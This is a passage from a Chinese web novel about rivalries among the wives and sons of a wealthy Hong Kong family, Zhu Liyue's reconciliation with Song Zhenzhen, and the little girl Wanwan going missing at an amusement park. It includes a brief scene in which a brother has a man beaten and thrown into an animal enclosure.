宋珍珍叫来身边的佣人，到朱丽月的院子里走了一趟。 回来将问道的情况告知：“大夫人，那边的人说，大姨太是去给三少爷和小小姐送糕点，之后就让二少爷带她出门，走的时候很着急，两个人的脸色都很不好。” 宋珍珍勾了勾唇角，心里笃定，是朱丽月的身体出了状况，而且多半是隐秘不发的病症，不敢让家里知道。 她以为让黎墨冰找个借口，就能瞒住所有人。 却不知道宋珍珍做为女主人管家的这些年，深得黎老夫人真传，早就将眼线埋到各方各院，根本没有透不出风的墙。 “我知道了，你先下去吧。” 第88章 他眼里根本没有我这个妈 午后的阳光透过窗口，在书房的木质地板上投下一道道金色的条纹。 书桌前，小婉婉时不时挠挠头上的小辫子，然后捧着课本，小眉头微微皱着，一个接一个的背诵英文单词。 “apple,苹果，apple, apple是苹果。”念叨完后，小丫头闭上眼睛，脑袋一点一点的。 记得差不多的时候，她歪着头，看向身边的黎墨郢：“三哥哥，这个我背会了。” “最后一个，然后开始听写。” “好。” 小婉婉开始背诵最后一个单词，这时，门外传来一阵沉稳的脚步声，打断了她的注意力。 黎墨冰穿着件黄色印着几何图案的衬衣，脸上挂着他惯有的精笑，桃花眼自然的向上挑着，随着他进门，身边还挂着一阵淡淡的香风。 “二哥哥。”小婉婉已经有十多天没见到黎墨冰，见他回来，她立刻放下手里的英文课本，朝他跑了过去。 黎墨冰张开双臂，蹲在地上把小家伙接住。 “小宝贝，几天不见，又长肉肉了。”黎墨冰忍不住，在她肉乎乎的小脸蛋儿上，捏了两下，将她抱起来。 “听说前几天婉婉同学来做客，你们都在，就差我自己？”他遗憾的看着黎墨郢。 黎墨郢圈着手臂，“嗯”了一声。 转而问了句：“怎么样？” 他是在问朱丽月的情况。 黎墨冰脸上露出一缕近似于无奈的笑：“还好，手术顺利，但难保日后不会复发，所以需要好好休养。” “就打算一直瞒着吗？”黎墨郢狭长的凤眸，透着丝丝锐利。 黎墨冰又何尝不知，天底下没有不透风的墙，朱丽月的病就算能瞒得了其他院里的人，却瞒不住她院子里那些下人，早晚会起一些风言风语，惹出更多麻烦。 “我劝过她，但她现在什么都听不进去。” 黎墨郢没有在开口，黎墨冰作为亲生儿子，都左右不了她的想法，又何况别人。 黎墨冰在这边陪小婉婉待了半天，才去朱丽月的院子探望。 相较于在医院时的状态，她在回家之后忧虑随之而来，使得她整个人都没有了往日的光彩。 即便穿着颜色艳丽的旗袍，画着明艳的妆容，她的神态里依然散发出一种骨子里的疲惫感。 “你爸比刚才来过。”她低着头，双眼无神的盯着某一处发愣。 “你告诉他了吗？”黎墨冰问道。 朱丽月摇了摇头，很久，她才仰起脸，紧攥着指尖手帕，对他交代：“现在老爷夫人对婉婉格外看重，你多去走动走动，想办法，把她接到你那边去住。” 黎墨冰没想到，生病都没能打消母亲的斗争之心，甚至还打起小婉婉的主意。 他脸上的关切渐渐褪去，没有说话，就那么一直看着，朱丽月一个人自言自语。 “我的身体不行了，以后恐怕不能跟你爸比过夫妻生活，他也就不会过来，但是如果把婉婉接过来，老爷和夫人就会多关注这边，你爸比自然也会对我们母子多上心……” “妈，你够了。”黎墨冰实在听不下去，他脸上挂着苍凉的笑，觉得母亲的想法，那么的天真，又讽刺。“你到底什么时候才肯罢手，不去和大夫人争？” 他的话成功激发了朱丽月的压抑的情绪，她几近崩溃的抓住他的袖子，从椅子上站起来，她额头上的血管全部凸起，双眼瞪大，像是要冲出眼眶。 “因为她拥有的一切本来就属于我，我凭什么不能争！当年要不是她讨好老太爷，获得支持，我才是黎家的当家夫人！” 朱丽月就是恨透了！ 她当年与黎立轩在学校自由恋爱，是被称为‘郎才女貌’‘天作之合’的一对。 她身边的人哪一个不羡慕？ 可是偏偏黎家老太爷选中了宋珍珍，因为她能够在事业上给黎立轩扶持，以强硬的姿态逼着黎立轩和她分手。 后来，无奈之下，黎立轩和宋珍珍结了婚，朱丽月实在抛不下多年的感情，才不得不低头，随后以二姨太的身份嫁进门。 她虽然是二姨太，可黎立轩在结婚当天答应过。 她的儿子，永远可以和宋珍珍的孩子平起平坐，她也不用去找宋珍珍请安，只要她们两厢无事，互不打扰就可以。 她信了黎立轩的承诺，也为了不让他难做，安守本分，从来不去跟宋珍珍找茬。 宋珍珍比她先生下黎墨城，看着老爷和夫人对他的偏爱与呵护，她也能控制自己的内心，不去嫉妒。 直到黎立轩又为了巩固与宋家的姻亲关系，在老太爷临终前，答应娶宋淼淼。 朱丽月的内心世界开始崩塌，她开始怀疑黎立轩对她的感情，乃至影响到他当初对自己许下的承诺。 她一天天的看着宋珍珍的长子成长，又为他生下第三个儿子，还在事业上与他齐头并进。 宋淼淼也在进门两年后，给黎立轩生下儿子…… 朱丽月成了一只被黎立轩圈养的金丝雀，只有在他闲暇的时候，才会来逗弄一下。 朱丽月不甘心就这样稀里糊涂的活下去，她要反抗，要重新拿回属于自己的一切，她将全部的精力都用来培养儿子。 黎墨城有什么，黎墨冰也要有，她用尽全力为他争取资源，争取不来，那就去抢！ 六岁的黎墨郢天赋异禀，才智双绝，在黎老爷的生日会上惊艳众人。 朱丽月意识到，长大后的他将会为黎墨城丰满羽翼，成为儿子最大的竞争对手，她便听了王素珍的建议，找高人给黎墨郢下了巫术诅咒。 结果没想到黎墨郢竟然是大凶转世，不光算计没有得逞，还让她的计划暴露…… 好在黎立轩心里始终有她，老爷和夫人也因为心里存着的愧疚，只是罚她跪了几天祠堂，没有把她赶出门。 从那以后，朱丽月吸取教训，开始韬光养晦，以低调的方式为儿子谋划。 可是她没想到，自己倾尽所有努力，报以全部希望的儿子，却在那件事发生后，与她离了心，甚至与全家人一起责怪她害了黎墨郢！ 每一次，黎墨冰为了别人，指责她作为母亲不该为他谋划的时候，没人知道，她的心有多凉、多疼。 “你个不争气的东西，给我滚，滚出去！”朱丽月大吼完，浑身的力气都被抽干。 瘫坐在椅子上，簌簌的落泪。 黎墨冰紧紧的抿着唇角，仍然坚定的驳回了她的提议。 “婉婉会一直住在阿郢那里，你想要的，从来不是我想要的。” 说罢，黎墨冰眸光深沉的转身离去。 …… 这天下午，黎墨郢所在的班级组织户外采风活动，便由黎墨冰过来接婉婉放学。 回去的路上，他不像往日那样嬉皮笑脸，而是全程心事重重，被烦心事困扰。 “二哥哥，你不开心么？”小婉婉歪着头问。 黎墨冰强迫自己勾起一抹笑容，用手揉了揉她的头，嗓音轻柔：“没有，二哥只是有点累。” “是因为要照顾大妈么？”小婉婉眨巴大眼睛，拍拍自己的小胳膊：“那二哥哥躺这里，睡一觉。” 黎墨冰心说，他的烦恼，可不是睡觉就能解决的。 昨晚他去探望朱丽月，毫无意外，母子二人又是不欢而散。 朱丽月要求他把小婉婉抱去她那里玩，黎墨冰不同意，她就用节食作为威胁。 刚才出门的时候，他让佣人过去探望，得知她整整一天都没有吃东西。 “婉婉，你可以陪我去看看大妈吗？”黎墨冰询问小婉婉的意见，同时，眼睛里也透着几分请求。 为今之计也只能让小婉婉过去看一眼，也顺便断绝了她那份心思。 “可以呀。” 听到小婉婉答应他，黎墨冰握着她的肩膀叮嘱：“到时候，大妈如果让你跟她一块儿住，你就直接说，你只想跟你三哥一起住，不要勉强自己，记住了吗？” “嗯，我会哒。”小婉婉认真的点点头。 …… 黎墨冰牵着小婉婉，来到朱丽月的院子。 院子里佣人低头修剪着花草，风吹过一片乌云在头上停留，正好遮住了太阳，使得整座院子里，透着一股清冷。 “二少爷，小小姐。”佣人们打招呼。 朱丽月在客厅里听见声音，眼睛一亮，立刻摆好坐姿，连同妆容精致的脸上，也堆砌起笑容。 不过因为太刻意，显得有些用力过猛。 “婉婉来了，快来看，大妈给你准备了好多好玩的东西。”朱丽月热情的迎接上来。 沙发上，几个崭新的洋娃娃，和一套精致的过家家玩具，吸引了小家伙的注意。 “大妈。”小婉婉甜甜的叫了一声，目光便落在那些玩具上。出于礼貌，她并没有直接跑过去，而是看着黎墨冰，征求他的同意。 黎墨冰的目光落在朱丽月笑容刻意的面孔上，心头微微发沉。 面无表情的说：“婉婉还有作业，玩一会儿就得回去。” 朱丽月像是没听见他的话一样，注意力全都在小婉婉身上。 她拿起洋娃娃，塞到小婉婉的手里，然后拉着她的小手往沙发上带去：“婉婉喜欢吗？以后常来大妈这里玩，好不好？” 小婉婉并不觉的朱丽月话有什么问题，单纯以为她是喜欢自己，而且她也没有像二哥哥说的，让自己住在这里。 于是立刻点头说：“好呀！” 朱丽月心中满意，看着小婉婉憨态可掬的小脸儿，多了两分真心的喜欢。 心里惋惜这几天身体不争气，要是能再生一个像她这般的女儿，该多好？ 肯定是比现在要强许多。 朱丽月转眸，将目光落给黎墨冰，看他像个监控器似的在那儿杵着就一阵心烦。 便想将他打发走：“墨冰，我有点头疼，上次医生开的那种进口药丸好像有点效果，在我卧室床头柜上，你去帮我找找拿来好不好？” 黎墨冰看出母亲是找借口支开自己，声色无波的说道：“让佣人去拿吧，婉婉对这里陌生，我要留下陪她。” 说罢，黎墨冰走到沙发上，一屁股坐了下去。 朱丽月脸上维持的笑容快要挂不住！ 她看着儿子那双和自己相似的桃花眼，写满沉静的警惕，如同像一根针，狠狠刺破了她勉强维持的假象。 客厅里的空气渐渐凝固。 朱丽月勉强维持的慈祥面具也接近碎裂，眼底露出神伤和痛苦的神色。 她抬起手，指着黎墨冰，声音带着轻轻的颤抖：“你……你咩意思啊？当防贼咁防住你亲生阿妈？黎墨冰！我叫你去攞个药你都推三推四，系咪根本唔信我？惊我会对婉婉做啲乜？”【你……你这是什么意思？防贼一样防着你亲生母亲吗？黎墨冰！我让你去拿个药你都推三阻四，你是不是压根就不信我？以为我会对婉婉做什么？】 朱丽月不想小婉婉发现他们在争吵，便用了港城话。 黎墨冰嘴唇抿成一条苍白的线，没有承认，也没有否认。 这对朱丽月来说，简直就是一种羞辱。 朱丽月彻底绷不住了，积压的委屈、化作眼泪，哗啦啦的往下掉。 “你究竟有冇心架？我生你养你，为你谋划咁多年，我做嘅边一样唔系为咗你？你而家就系咁报答我？你到底有冇当过我系你阿妈！”【你到底有没有心？我生你养你，为你谋划这些年，我做的哪一件事不是为了你？你现在就这样回报我？你到底有没有当我是你母亲！】 她的质问声在空旷的客厅里回荡，带着一丝绝望的哭腔。 黎墨冰依旧沉默着，但下颌紧绷，眼底翻涌着复杂的痛楚。 他无法理解母亲，也不想与她争论，尤其是在婉婉面前。 就在这时，一只软软的小手轻轻拉了拉朱丽月的衣角。 小婉婉并不懂他们在说什么，大眼睛里满是疑惑，但是她能够明显的感觉到，徘徊在母子二人之间的僵持。 她奶声奶气的开始哄人：“大妈，不生气……二哥哥都哭了。” 朱丽月却像是听到了什么笑话。 她看着黎墨冰干涩的眼角，嗤笑：“哭？他个冥顽不灵、铁石心肠的东西，怎么会哭？他眼里根本就没有我这个妈！” 小婉婉却用力地摇着头，小辫子一甩一甩，她拍了拍自己的胸口，非常认真地说：“二哥哥这里在流泪，三哥哥睡不好觉，他好难过。” 第89章 把自己逼成一个疯子 小婉婉的话，让朱丽月的瞳孔猛地一颤。 “你说他为黎墨郢难过？” 小婉婉点了点头，响应着母子间的气氛，她的小嘴儿也跟着抿起来。 “大妈也难过，我知道。” 朱丽月：“……” 她也为黎墨郢难过？ 呵呵。 怎么可能！ 她从来不后悔为阿冰做任何事！ 黎墨郢和黎墨城一样，都是宋珍珍的孩子，是阿冰将来最大的对手，她才不会怜惜他们！ 朱丽月哭哭又笑笑，半晌，她一双泪眼逐渐变成了茫然。 因为又听见小婉婉说：“二哥哥、三哥哥，都是好哥哥，妈咪说，我们都是一家人。” 客厅里，除了母子二人的呼吸声，只有小家伙一个人的自言自语。 忽然，黎墨冰深吸一口气，似乎想将翻涌的情绪压回去。 他起身，对婉婉伸出手，声音沙哑而低沉，带着一丝不易察觉的哽咽：“跟她说这些做什么……她根本就不理解。” 这句话里，没有尖锐和对抗，反而透出一种深深的无力感和……或许连他自己都未曾察觉的，一丝微弱的、渴望被理解的期盼。 朱丽月看着儿子伸向婉婉的手，那手指微微颤抖着。 她张了张嘴，第一次，那些争抢、算计和抱怨卡在喉咙里，一个字也吐不出来。 窗外的光线斜斜照入，在她疲倦的身影上铺上一层柔光，此刻的她，也仅仅是一位被儿子不理解的，平凡的母亲而已。 “阿冰……” 黎墨冰没有听她的呼唤，抱着小婉婉头也不回的出了门。 朱丽月摊开手，无助的看着自己的掌心。 这些年她都在做什么？ 阿冰刚才的表情……是痛苦吗？ …… “二哥哥没错，二哥哥不难过，抱抱你。” 黎墨冰坐在黎墨郢院子里的大树下，看着小家伙不遗余力的安慰自己，竟然一个禁不住，真的哭了。 小婉婉见状，赶忙从口袋里掏出小手帕，给他擦拭泪水：“二哥哥不哭，给你擦眼泪。” “嗯。”黎墨冰的眼泪根本擦不完，没一会儿帕子就湿了。 他干脆抱着小婉婉，捏起她的袖子，擦拭眼睛。 一边哭一边说：“婉婉答应二哥，不要把我哭的事情告诉别人，好不好？” “不说不说，婉婉不告诉别人。”小婉婉脑瓜摇啊摇，用了好长时间，才把黎墨冰给哄好。 黎墨冰深吸了一口气，将眼泪都压了下去，想着正好黎墨郢不在，干脆带小婉婉出去散心。 彼时。 朱丽月独自坐在椅子上，她的脑海里一直在不断的浮现小婉婉说的那些话。 ——大妈，不生气二哥哥都哭了。 ——三哥哥睡不好觉，二哥哥难过。 ——大妈也难过，我知道。 ——妈咪说，二哥哥三哥哥，都是好哥哥，妈咪说，我们都是一家人。 朱丽月自言自语：“一家人吗？宋珍珍竟然一点都没有恨我？” “当我得知你对阿郢下手，我确实很生气，但是，还谈不上恨。”一道轻柔的女声，在身前传来。 朱丽月这才发现，自己刚才想的太入神，竟然没有发现宋珍珍什么时候来到她这里。 而这一次，也是她在算计黎墨郢之后的这些年，她第一次登门。 宋珍珍亦如她初见时那般，高傲的昂着头，或许她的面容确实不如自己出色，但从她身上散发出的傲然与沉静，让她像是一尊女王神像，英姿挺立。 朱丽月惊慌的从椅子上站起来，来不及反应的她，眼底尽现局促慌乱，还有一丝心虚，使她的眼神不断回避。 “姐姐，你怎么过来了？” “我再不来，你跟阿冰母子就要决裂了。”宋珍珍看着朱丽月血色尽退的脸，事到如今，她的境况也算是为她当年所作所为，付出因果。 宋珍珍向旁走了几步，落座在了主位上。 声色沉沉的说道：“我知道当年我先你一步嫁给阿轩，成为正妻，让你很不甘心，可是放眼这个家里，又有几个人活得称心如意？” 朱丽月脸上挂着讽刺的笑，她紧紧的攥着手帕，哭红的眼睛盯着宋珍珍的脸。 “你根本就不爱阿轩，你嫁给他，当然不会称心如意！可我跟你不一样，如果没有你的出现，我们会生活得很幸福！” “是么？那你能保证，他不会娶其他姨太太？都会一心一意的只对你吗？ 就算他能，除非他不做这个继承人，可偏偏老夫人就生了他自己，一边是爱情，一边是亲情，你让他如何选？ 这些年我都特别敬重你，为了他甘心屈居姨太太的位置，也知道你很在乎他，从不与你争宠，哪怕你那样对阿郢，我都没有恨你，哪怕阿轩提出，要阿冰进入企业，我也没有反对。 可是阿月，你忽略了一件事，男人的心是会变的，不然，又怎么会有我妹妹，又有小三、小四、小五……” “你不要说了，别说了。”朱丽月身体不受控制的发抖。 她双唇哆嗦了半晌，才说出，这些年用来安慰自己的借口。 “阿轩他是被我伤了心，因为我当年伤害阿郢，他一赌气，才把那个歌女娶回来！” 朱丽月口中的歌女，正是黎墨瞳的生母，在与黎立轩成婚没两年，因为得罪了王素珍，被暗地里报复致死。 “那三姨太呢？严小青跟在他身边多年，最后不也因为怀孕上了位？” “不要提严小青那个贱人，她是趁着阿轩喝多了酒，才钻了空子！”朱丽月提到严小青，心里的火便积压不住。 宋珍珍从容的看着她，为了所谓的‘真爱’，硬生生快把自己逼成一个疯子。 “但你不能否认，已经发生的事实，不是么？” “我让你别说了！”朱丽月双手抱着头，将脸深深的埋进臂弯，迟迟不愿接受现实。 宋珍珍并不否认，黎立轩对朱丽月的情感，也曾经为她保持坚定不移的心。 只是一个男人太优秀，就会吸引许多女人为他义无反顾。 “当一条鱼长久处在深潭子里，它就会慢慢习惯，慢慢被同化。从阿轩接受命运，娶我进门的那一刻，那个曾经说只爱你的男人，就已经死了，你较真的这些年，他自然都看不见。” “难道，难道我不该嫁给他，难道我爱他有错吗？”朱丽月歇斯底里的质问。 宋珍珍摇了摇头。 “你爱他没有错，你错就错在，不该要求他，处处满足你的要求，以你期待的方式来回应你。这种事，即便是一夫一妻，都做不到。” 宋珍珍起身，来到朱丽月面前，伸手将她拉了起来。 “你更不该，将你得不到满足的欲望，加注在阿冰身上，你根本没有发现，这些年他替你背负了多少愧疚，在兄弟和家人中间，有多么难做？” “你真的有这么好心？阿冰不与你儿子夺权，不就是你想要的！”朱丽月一把挣脱她的手，重新跌落回去。 宋珍珍并不与她计较，无奈叹了一声。 “如果我不想让阿冰有出头之日，只用找老爷夫人对阿轩施压就可以，但我感念他与阿郢兄弟情义，不会那么做，还有阿城……如果不是因为当年，也不至于落得离心的地步。你若真的执迷不悟，那么阿冰早晚有一天，会被你毁掉。” 朱丽月：“……” 此刻，她即便再不愿意面对。 也不能否认，宋珍珍口中的现实。 “我错了，都是我的错，我蠢，我笨，都是我执迷不悟，才让阿冰活的那么痛苦……”朱丽月哭着跪在地上，抓起宋珍珍的手哭求：“姐姐，你打我吧，这些年都是我对不起阿郢，也对不起你！” 宋珍珍光是看着她虚弱的样子，就已经替她不值。 自然不会对她动手。 “你知道错就好，以后，我们一家人，不要再争来都去，让孩子和长辈心寒。” “我不会，我再也不会了姐姐。”朱丽月捶胸保证。 等到宋珍珍离开，她主动到了祖先祠堂，独自忏悔了许久。 …… 黎墨冰给小婉婉买了她爱吃的鱼蛋，便抱着她坐进车里，穿梭在港城繁华的街头。 车窗外，穿喇叭裤的年轻男女，伴着音像店CD中传来的歌声起舞，混合着摊贩的吆喝声，混成一片热闹的景象。 报刊亭堆砌着五颜六色的杂志，报童手里甩着报纸，喊着：“号外、号外，港城游乐园大酬宾，购买儿童票，免费同行一位大人！” 穿着旗袍的妇人拎着菜篮，叫住了报童。 “给我一张报纸。” 小婉婉的嘴儿里含着鱼蛋，鼓鼓囊囊的问黎墨冰：“二哥哥，我们班同学都去过游乐园了，我什么时候能去？” “你想去游乐园？”黎墨冰拿出手帕，给她擦拭嘴角沾染的油渍。 小婉婉重重的点了点脑瓜儿：“想去！” 黎墨冰二话不说，就让司机开车过去。 一进大门，彩色的摩天轮旋转起来，把夕阳的光线切成细细的碎片；旋转木马的马鬃上涂着金粉，伴着粤语的老歌转圈圈。 小婉婉兴奋得连鱼蛋都不想吃了，扬起小手一指：“二哥哥，是转转马。” “想玩吗？” “想！” 由于游乐园正在搞活动，到处都是人头拥挤，黎墨冰抱着小婉婉，站在人群中，烦躁的拧了拧眉。 于是他返回到大门口，对保镖吩咐了两个字：“我小妹要玩旋转木马，你们先过去清场。” “是，二少爷！” 小婉婉还不懂什么是清场，见黎墨冰站在原地不动，眨巴着大眼睛，萌萌哒问：“二哥哥，不玩了吗？” “玩，你等一下，马上就好。”黎墨冰安抚，并来到凉品店，先给她买了一只冰激凌。 很快，过去清场的保镖皱褶眉走过来。 “二少爷，老板说游客基本都是小孩子，清场有点困难，不过您现在过去，可以让您插队。” 黎墨冰感觉无语。 向来他出行，不论到任何地点，都是被恭恭敬敬的伺候着。 今天还是第一次，碰到被驳回面子的时候，让这里关门大吉的心都有了！ 但他看小婉婉又实在想玩，只得不情愿的抱着她走穿过人群，心说，回头非要跟父亲请命，专门给小婉婉开一家超大型游乐场，让她想怎么玩就怎么玩！ 黎墨冰刚抱着小婉婉坐在旋转木马上，后方，一个抱着孩子辛苦排队的男人竟然发出抗议。 “我排了半天，凭什么让他插队！” 黎墨冰仅用一个冷眼扫过，保镖立刻形成围拢姿态，将那人远远的隔绝在设施外面。 “有钱就了不起！”男人愤愤不平的抱怨了一句。 这边，已经坐在了木马上，黎墨冰让她扶好缰绳，确认她不会掉下来后，才慢慢退出设施。 伴随着音乐声起，木马转起了圈圈。 “小马，驾！驾！”小婉婉的裙摆随着木马飘起，就连头上的两只小揪揪，都兴奋的摇摆。 “小妹，抓紧，别掉下来！”黎墨冰不放心的在下面叮嘱，不过，看着小丫头开心的小样，却由衷的生出一种满足感。 母亲为了让他与大哥媲美，在他幼年便严格管教，像游乐场这样的地方，他也只是跟黎墨郢偷偷来过一次。 后来还被朱丽月发现，回家被罚抄写了十遍弟子规。 旋转木马一圈圈的转，黎墨冰的目光始终追随着其中一个黄色的小身影，直到停止，他立刻走上去，把小婉婉抱下来。 “小妹，那边还有碰碰车，二哥带你去玩一会儿？” “好呀。”小婉婉立刻拉着黎墨冰的手，在保镖的拥护下走出人群。 …… 黎墨郢临近傍晚，采风结束了回来。 进入院子里，他就感觉到了出奇的寂静，就连负责看门的两只大狗，都蔫蔫的爬在地上不愿动。 “婉婉呢？”黎墨郢叫来佣人。 佣人刚要开口，这时，王妈火急火燎的从书房跑出来说：“不好了三少爷！二少爷下午带小小姐去游乐场，刚才他打电话回来说，小小姐在跟他玩迷宫的时候，两个人不小心走散了！” “什么？”黎墨郢脸色惊变，丢下书包，转身跑出了门。 第90章 人的脸皮 黎墨郢赶到游乐场的时候，整个场所已经全部被封锁，每一个从里面走出来的游客，都要被仔细盘查、询问，关于黎家小小姐的踪迹。 黎墨城是第一个接到消息的，赶到后，他把黎墨冰按在地上，打得鼻青脸肿的。 然后他带着黎墨冰，还有一众保镖，在游乐场里大肆寻找。 黎墨郢调动灵力，靠意念感知到小婉婉的方向。 “在西边。” 他的话刚说完，游乐场的老板一拍大腿：“不好！西边是还没开放的区域，里面养的都是大型猛兽，黎小姐如果在那里，多半凶多吉少啊！” 游乐场的老板头上的天都快塌了。 黎家的孩子如果在自己这里出事，他别说做生意，不用偿命都不错了。 随着老板的话说完，黎墨城双眼喷火，一把揪住黎墨冰的衣领。 “小妹要是有事，你这辈子都别想回去！” 黎墨冰双眼呈现黯淡，低低的垂着头，自言自语：“小妹如果发生意外，我给她偿命。” “先别说这个了，我们过去看看。”黎墨郢能够感知到小婉婉的生命气息，是以并不像两位哥哥这么慌乱。 他率先走在前面，穿过长长的甬道，就是猛兽园区。 一间间隔断，尽数被铁网包裹着，棕熊、老虎、雄狮、野狼，散发出浓重的野兽气息。 随着越往里面走，游乐园老板身上的汗流的越多，黎墨城脸色沉的瘆人，黎墨冰则失魂落魄，将唯一的希望寄托给老天，不住祈祷：只要小妹能平安，我宁可少活十年。 终于，黎墨郢脚步停止的时候，众人看向最里面的飞禽区域。 ——小婉婉身下正骑着一只大鸵鸟，跟猴子赛跑！ 小家伙的手紧紧的攥着鸵鸟的羽毛，跑起来一颠一颠，把她头上的小辫子都要给晃散开了。 小家伙一边“咯咯咯”的笑着，一边还在呐喊：“大毛，驾，快跑，小猴子肯定比不过我们。” 猴子眼看着被鸵鸟超越，嘴里发出“滋滋”的挑衅，奈何它还是被鸵鸟给远远的甩出了出去。 待跑出一段距离，大鸵鸟高高的扬着脖子，张开两只硕大的翅膀，像在得意洋洋的炫耀自己的胜利。 “耶，我们赢啦！” 夕阳下，小孩子的笑声，混合着鸵鸟和猴子的叽叽声，在宽阔的草地上撒下一片热闹。 游乐园老板都傻眼了，自言自语：“我滴个乖乖，这些可都是猛禽啊，这位小姐竟然能跟它们玩到一块去，简直太神奇了！” 黎墨城看了眼游乐园老板，此时知道自己刚才的焦急是多余，重重的吐了口气。 “麻烦你了，我们现在就把我小妹带走。” 黎墨城刚要迈步，游乐园老板赶忙将他拦住。 “等等大少爷，那些猛禽没有伤害小小姐，可不代表，它们不会伤害几位，还是让专业人士过去吧。”游乐园老板擦了擦头上的汗水。 黎小姐平安无事已经难得，可千万不能让这几位出了岔子。 黎墨城听到劝阻，将脚收了回来。 然而下一秒，黎墨郢直接向着场地中走了过去，游乐园老板叫了好几声，他都像没听见一样。 好在的是，黎墨郢在靠近鸵鸟后，它哪怕察觉到了有人闯入领地，也没有发动攻击。 “婉婉。”黎墨郢唤了一声。 “三哥哥！”小家伙带着满身鸟味儿朝他跑过来。 黎墨郢在她距离自己两步的距离，用手拎住她的后领，隔绝了她的小脏手。 少年低垂的眉眼透着冷峻，“屁股伸过来。” 小婉婉立刻意识到，自己要被大屁股，赶忙用两只小手捂住，滴溜溜的大眼睛眨巴。 “不打屁股。” “不打？”黎墨郢蹲在地上，捏住她脏兮兮的小脸蛋儿，虽然没用力，但也扯变了形。“知不知道我们多担心你？下次还敢不敢乱跑！” “不乱跑了。”小婉婉把头摇成了拨浪鼓。 黎墨郢这才放手，起身，道了句：“自己走。”带着她回到哥哥们中间。 黎墨城不管那么多，在看见小婉婉过来的时候，大步过去将她抱起来。 “婉婉，吓坏了吧？” “大哥哥我没事，在跟大毛毛玩。”小婉婉小手指向远处的大鸵鸟。 黎墨城不知道该说什么，鼓励她不对，责备她又不忍心，只能在叹了声气后，说一句：“回家。” 回去的路上，黎墨冰不停在跟小婉婉忏悔，他疏忽大意，才把小婉婉给弄丢了。 婉婉等他说完了，才摇了摇头：“不是的二哥哥，是一个坏叔叔抓到我！” “坏叔叔？” 黎墨冰也在一直好奇，明明他跟保镖都在场，就算小婉婉在迷宫里和他走失，出入口总能发现，不至于连她的影子都找不到。 原来有人在背后捣鬼！ “别让我揪出那个人，一定要把他扔到猛兽区，让他自生自灭！”黎墨冰咬牙发誓。 黎墨城白了他一眼，冷声呵斥道：“不论如何，以后你都休想再带婉婉出来！” “不是，大哥，你再给我一次机会，下次我保证，不会弄丢婉婉。”黎墨冰漂亮的脸满是颓丧，竖起手指对天发誓。 黎墨城不语，黎墨郢在一旁提醒：“二哥，先别说这个，你弄丢婉婉，回家还是想想怎么过阿爷阿奶那一关。” 黎墨冰：“……” 简直倒霉！ 兄妹三人带着小婉婉回去，黎老夫人手里抄着拐杖，就在黎墨冰的屁股上打了几下。 转而看他脸上挂了彩，就没再动手，而是联合黎老爷，把他给痛骂了一顿。 “婉婉，你告诉大哥，那个把你抓走的人长什么样？或者他穿着什么衣服？”黎墨城蹲下来问道。 小婉婉按照回忆，给他描述了一遍。 “那个人很高，胖胖的，穿红色的衣服……” 黎墨冰只听到几个字眼，脑子里便灵光一闪。 “那个人我见过！” 他还记得当时，在玩旋转木马的时候，那个人和一个抱孩子的男人在一起，指责他们插队。 “大哥，把这个人交给我，我去找他算账！”黎墨冰深邃的桃花眸，汹涌着怒气。 说罢，他不等黎墨城答应，转身夺门而去。 索性黎墨城知道他的手腕，像报仇这种事，以黎家在港城的地位，有时根本不用亲自出面，就自然有人前仆后继。 何况黎墨冰还要亲自去找人。 黎墨城将小婉婉交给黎墨郢，语气透着埋怨：“下次你再有事，打电话给我，别找那些不靠谱的。” 黎墨郢点头，送走了黎墨城，还有黎家二老，他将小婉婉交给王妈和刘妈，让她们把脏兮兮的小丫头梳洗干净。 …… 月光避开清冷的长廊，照耀在花衬衣的男子的侧颜，艳丽的容貌宛若盛开在暗夜的曼珠沙华，华丽、妖冶，却充斥着血腥。 狭长的桃花眸微微上挑，此刻那眼底惯有的风流笑意荡然无存，只剩下冰冷的黑沉，仿佛淬了寒毒的刀尖，望着长廊下，被打的半死的年轻人。 “二少爷，差不多了。” 黎墨冰身上的气息沉得可怕，却并非息事宁人的那种静。 而是暴风雨前死寂的压逼感，宛若被压制的怒火，隐匿在漂亮的皮囊之下，蓄着绞杀猎物的锋芒。 “砍掉手脚，丢到海里喂鲨鱼。” 本来已经一动不动的年轻人，在听到他的话后，挣扎着从地上爬起来。 他伸出手，抓向虚无的空气，奋力挤出两个沙哑的字：“饶命。” “你刚才的口气不是还很大？”黎墨冰走到他面前，弯下腰来，脚尖压着他的手指，碾了下去。 “啊！”年轻人发出痛苦的叫声，立刻，就被保镖捂住了嘴。 黎墨冰抬脚，示意保镖将手拿开。 桃花眸淡淡的笑意掠过，如同在戏弄一只跳梁小丑，饶有兴味。 “我最后再问你一遍，真的没有人指使你？” “没有，二少爷，是我瞎了眼，不知道您和小姐身份尊贵，我有眼不识泰山，求您饶过我这条命！” “哼。”黎墨冰从鼻腔发出冷嗤。 本来他还以为，是哪个黑心肝的东西策划的阴谋，才让他弄丢了婉婉。 结果这个人只是因为他行事过于高调，因此心怀嫉妒，在他和婉婉去玩迷宫的时候，串通了迷宫里的工作人员，将小婉婉藏了起来，目的是为了让他着急。 最后是小婉婉自己跑了出去，因为找不到路，稀里糊涂的摸到了野生动物区。 黎墨冰无论如何都咽不下这口气，冷漠的看着地上的年轻人，他命令带来的保镖。 “把他丢进猛兽区，是死是活，看他的造化！” “二少爷，饶命啊，二少爷……”年轻人的声音远去。 黎墨冰夺目的美颜，闪过凉薄。 害他被大哥打了一顿就算了，还失去了以后单独带婉婉的机会，没把这个人直接弄死，已经算手下留情！ 黎墨冰准备离开，却在转头的时候，看见地上遗留下的红色香囊。 他抬脚走了过去，弯身捡起来，在看见里面的东西时，背后爬起密密麻麻的鸡皮疙瘩。 “这个人……” …… 叩叩叩。 房门被敲了三下，黎墨城抬脚走过去，一打开，就看见黎墨冰顶着一张花猫脸，郁闷的站在门口。 “大哥。” 黎墨城直接就要关门，黎墨冰及时伸出一只脚，阻挡在门口，一勾唇，露出厚脸皮的笑。 “我过来就跟你说几句话，你别赶我走。” 黎墨城瞪了他一眼，转而走到沙发前，坐下拿起文件，自顾查看。 仿佛面前站着的人，是一团空气。 黎墨冰已经很多年没有单独找过黎墨城，哪怕两个人平日在公司，他们都是各忙各的。 就算业务上必须有交集，也是由下面的人代为办理，黎墨城绝对不会让他进办公室一步。 这两个月来，兄弟俩所有相处的时间，都是跟小婉婉在一起。 黎墨冰深吸了一口气，既然选择主动踏出这一步，那硬着头皮，也得继续下去。 “大哥，我错了，我不该一时心血来潮，就把婉婉带出去……”黎墨冰诚恳的认错，黎墨城没有丝毫动容，仿佛任由他磨破嘴皮，也不会听进一句。 